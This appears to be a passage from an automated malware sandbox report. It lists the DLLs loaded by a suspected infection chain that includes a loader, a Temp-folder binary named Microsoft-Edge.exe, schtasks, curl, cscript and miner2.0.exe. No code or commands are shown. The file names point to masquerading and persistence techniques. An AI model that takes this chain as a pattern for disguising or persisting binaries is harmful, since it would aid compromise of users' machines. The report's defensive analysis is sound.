Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Section loaded: iertutil.dll
